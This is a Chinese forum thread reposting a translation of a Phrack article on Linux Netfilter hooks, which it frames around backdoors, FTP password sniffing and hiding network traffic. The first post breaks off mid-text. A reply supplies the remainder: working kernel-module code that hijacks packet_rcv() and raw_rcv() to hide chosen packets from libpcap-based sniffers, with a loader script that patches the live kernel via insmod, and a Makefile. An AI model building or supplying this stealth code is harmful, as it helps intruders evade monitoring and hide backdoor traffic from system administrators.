suowei1979 发表于 2004-12-10 15:31:25

深入Linux网络核心堆栈

深入Linux网络核心堆栈

创建时间:2003-08-22
文章属性:翻译
文章提交:raodan (raod_at_30san.com)

==Phrack Inc.==

卷标 0x0b, 期刊号 0x3d, Phile #0x0d of 0x0f

|=---------------------=[ 深入Linux网络核心堆栈 ]=-----------------------=|
|=-----------------------------------------------------------------------=|
|=------------------=[ bioforge <[email protected]> ]=--------------------=|
|=------------------------=[ 翻译 : raodan ]=----------------------------=|

目录

1 - 简介
1.1 - 本文涉及的内容
1.2 - 本文不涉及的内容
2 - 各种Netfilter hook及其用法
2.1 - Linux内核对数据包的处理
2.2 - Netfilter对IPv4的hook
3 - 注册和注销Netfilter hook
4 - Netfilter 基本的数据报过滤技术
4.1 - 深入hook函数
4.2 - 基于接口进行过滤
4.3 - 基于地址进行过滤
4.4 - 基于TCP端口进行过滤
5 - Netfilter hook的其它可能用法
5.1 - 隐藏后门的守护进程
5.2 - 基于内核的FTP密码嗅探器
5.2.1 - 源代码 : nfsniff.c
5.2.2 - 源代码 : getpass.c
6 - 在Libpcap中隐藏网络通信
6.1 - SOCK_PACKET、SOCK_RAW与Libpcap
6.2 - 给狼披上羊皮
7 - 结束语
A - 轻量级防火墙
A.1 - 概述
A.2 - 源代码 : lwfw.c
A.3 - 头文件 : lwfw.h
B - 第6节中的源代码

--[ 1 - 简介

本文将向你展示,Linux的网络堆栈的一些怪异行为(并不一定是弱点)如何被用于邪恶的或者是其它形形色色的目的。在这里将要讨论的是将表面上看起来合法的Netfilter hook用于后门的通信,以及一种使特定的网络通信在运行于本机的基于Libpcap的嗅探器中消声匿迹的技术。
Netfilter是Linux 2.4内核的一个子系统,Netfiler使得诸如数据包过滤、网络地址转换(NAT)以及网络连接跟踪等技巧成为可能,这些功能仅通过使用内核网络代码提供的各式各样的hook既可以完成。这些hook位于内核代码中,要么是静态链接的,要么是以动态加载的模块的形式存在。可以为指定的网络事件注册相应的回调函数,数据包的接收就是这样一个例子。


----[ 1.1 - 本文涉及的内容

本文讨论模块编写者如何利用Netfilter hook来实现任意目的以及如何将将网络通信在基于Libpcap的应用程序中隐藏。虽然Linux 2.4支持对IPv4、IPv6以及DECnet的hook,但在本文中将只讨论关于IPv4的话题,虽然如此,大部分关于IPv4的内容都同样可以运用于其它几种协议。出于教学的目的,附录A提供了一个可用的、提供基本的包过滤的内核模块。本文中所有的开发和试验都在运行于Intel主机上的Linux 2.4.5中完成。对Netfilter hook功能的测试在环回接口、以太网接口以及调制解调器点对点接口上完成。

本文也是出于我对Netfilter完全理解的尝试的兴趣而写的。我并不能保证文中附带的任何代码100%的没有错误,但是我已经测试了所有在这里提供的代码。我已经受够了核心错误的折磨,因此真诚的希望你不会再如此。同样,我不会为任何按照本文所述进行的操作中可能发生的损害承担责任。本文假定读者熟悉 C语言编程并且有一定的关于可加载模块的经验。

欢迎对本文中出现的错误进行批评指正,我同时开诚布公的接受对本文的改进以及其它各种关于Netfilter的优秀技巧的建议。


---- [ 1.2 - 本文不涉及的内容

本文不是一个完全的关于Netfilter的细节上的参考资料,同样,也不是一个关于iptables的命令的参考资料。如果你想了解更多的关于iptables的命令,请参考相关的手册页。

好了,让我们从Netfilter的使用介绍开始 ...


--[ 2 - 各种Netfilter hook及其用法
----[ 2.1 - Linux内核对数据包的处理

看起来好像是我很喜欢深入到诸如Linux的数据包处理以及事件的发生以及跟踪每一个Netfilter hook这样的血淋淋的细节中,事实并非如此!原因很简单,Harald Welte已经写了一篇关于这个话题的优秀的文章——《Journey of a Packet Through the Linux 2.4 Network Stack》。如果你想了解更多的关于Linux数据包处理的内容,我强烈推荐你去拜读这篇文章。现在,仅需要理解:当数据包游历Linux内核的网络堆栈时,它穿过了几个hook点,在这里,数据包可以被分析并且选择是保留还是丢弃,这些hook点就是Netfilter hook。


----[ 2.2 - Netfilter对IPv4的hook

Netfilter中定义了五个关于IPv4的hook,对这些符号的声明可以在linux/netfilter_ipv4.h中找到。这些hook列在下面的表中:

表1 : 可用的IPv4 hook

Hook 调用的时机
NF_IP_PRE_ROUTING 在完整性校验之后,选路确定之前
NF_IP_LOCAL_IN 在选路确定之后,且数据包的目的是本地主机
NF_IP_FORWARD 目的地是其它主机地数据包
NF_IP_LOCAL_OUT 来自本机�

ygw_ycf 发表于 2004-12-20 00:09:19



为啥不置顶?

xue_hu2001 发表于 2005-1-13 14:44:51

向楼主致敬!! :!::!::!::!:

任我行第二 发表于 2005-1-14 19:16:43

向楼主致敬!! :!::!::!::!:

heraclus 发表于 2005-1-27 16:46:20

搂住,好像没有贴完整!

heraclus 发表于 2005-1-27 16:51:20

搂住少的部分如下:

if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
    return 0;            /* Ignore this packet */
   
    /* Call original */
    HIJACK_LOCK;
    memcpy((char *)rr, rr_orig, CODESIZE);
    retval = rr(sock, skb);
    memcpy((char *)rr, rr_code, CODESIZE);
    HIJACK_UNLOCK;

    return retval;
}

int init_module()
{
    int sl_flags;               /* Flags for spinlock */
   
    /* pr & rr set as module parameters. If zero or < PAGE_OFFSET
   * (which we treat as the lower bound of kernel memory), then
   * we will not install the hacks. */
    if ((unsigned int)pr == 0 || (unsigned int)pr < PAGE_OFFSET) {
    printk("Address for packet_rcv() not valid! (%08x)\n",
         (int)pr);
    return -1;
    }
    if ((unsigned int)rr == 0 || (unsigned int)rr < PAGE_OFFSET) {
    printk("Address for raw_rcv() not valid! (%08x)\n",
         (int)rr);
    return -1;
    }
      
    *(unsigned int *)(pr_code + 1) = (unsigned int)hacked_pr;
    *(unsigned int *)(rr_code + 1) = (unsigned int)hacked_rr;
   
    HIJACK_LOCK;
    memcpy(pr_orig, (char *)pr, CODESIZE);
    memcpy((char *)pr, pr_code, CODESIZE);
    memcpy(rr_orig, (char *)rr, CODESIZE);
    memcpy((char *)rr, rr_code, CODESIZE);
    HIJACK_UNLOCK;
   
    EXPORT_NO_SYMBOLS;
   
    return 0;
}

void cleanup_module()
{
    int sl_flags;
   
    lock_kernel();
   
    HIJACK_LOCK;
    memcpy((char *)pr, pr_orig, CODESIZE);
    memcpy((char *)rr, rr_orig, CODESIZE);
    HIJACK_UNLOCK;
   
    unlock_kernel();
}
<-->

<++> pcaphide/loader.sh
#!/bin/sh
#Written bygrem, 30th June 2003
#Hacked by bioforge, 30th June 2003

if [ "$1" = "" ]; then
      echo "Use: $0 <System.map>";
      exit;
fi

MAP="$1"
PR=`cat $MAP | grep -w "packet_rcv" | cut -c 1-16`
RR=`cat $MAP | grep -w "raw_rcv" | cut -c 1-16`

if [ "$PR" = "" ]; then
      PR="00000000"
fi
if [ "$RR" = "" ]; then
      RR="00000000"
fi

echo "insmod pcap_block.o pr=0x$PR rr=0x$RR"

# Now do the actual call to insmod
insmod pcap_block.o pr=0x$PR rr=0x$RR
<-->

<++> pcaphide/Makefile
CC= gcc
CFLAGS= -Wall -O2 -fomit-frame-pointer
INCLUDES= -I/usr/src/linux/include
OBJS= pcap_block.o

.c.o:
    $(CC) -c $< -o $@ $(CFLAGS) $(INCLUDES)

all: $(OBJS)

clean:
    rm -rf *.o
    rm -rf ./*~
<-->


------[ 参考文献

该附录包含写本文过程中用到的参考文献的列表。

The tcpdump group
      http://www.tcpdump.org
The Packet Factory
      http://www.packetfactory.net
My network tools page -
      http://uqconnect.net/~zzoklan/software/#net_tools
Silvio Cesare's Kernel Function Hijacking article
      http://vx.netlux.org/lib/vsc08.html
Man pages for:
    - raw (7)
    - packet (7)
    - tcpdump (1)
Linux kernel source files. In particular:
    - net/packet/af_packet.c   (forpacket_rcv())
    - net/ipv4/raw.c             (forraw_rcv())
    - net/core/dev.c
    - net/ipv4/netfilter/*
Harald Welte's Journey of a packet through the Linux 2.4 network
   stack
   http://gnumonks.org/ftp/pub/doc/packet-journey-2.4.html
The Netfilter documentation page
   http://www.netfilter.org/documentation
Phrack 55 - File 12 -
   http://www.phrack.org/show.php?p=55&a=12
Linux Device Drivers 2nd Ed. by Alessandro Rubini et al.
Inside the Linux Packet Filter. A Linux Journal article
   http://www.linuxjournal.com/article.php?sid=4852


|=[ EOF ]=---------------------------------------------------------------=|
页: [1]
查看完整版本: 深入Linux网络核心堆栈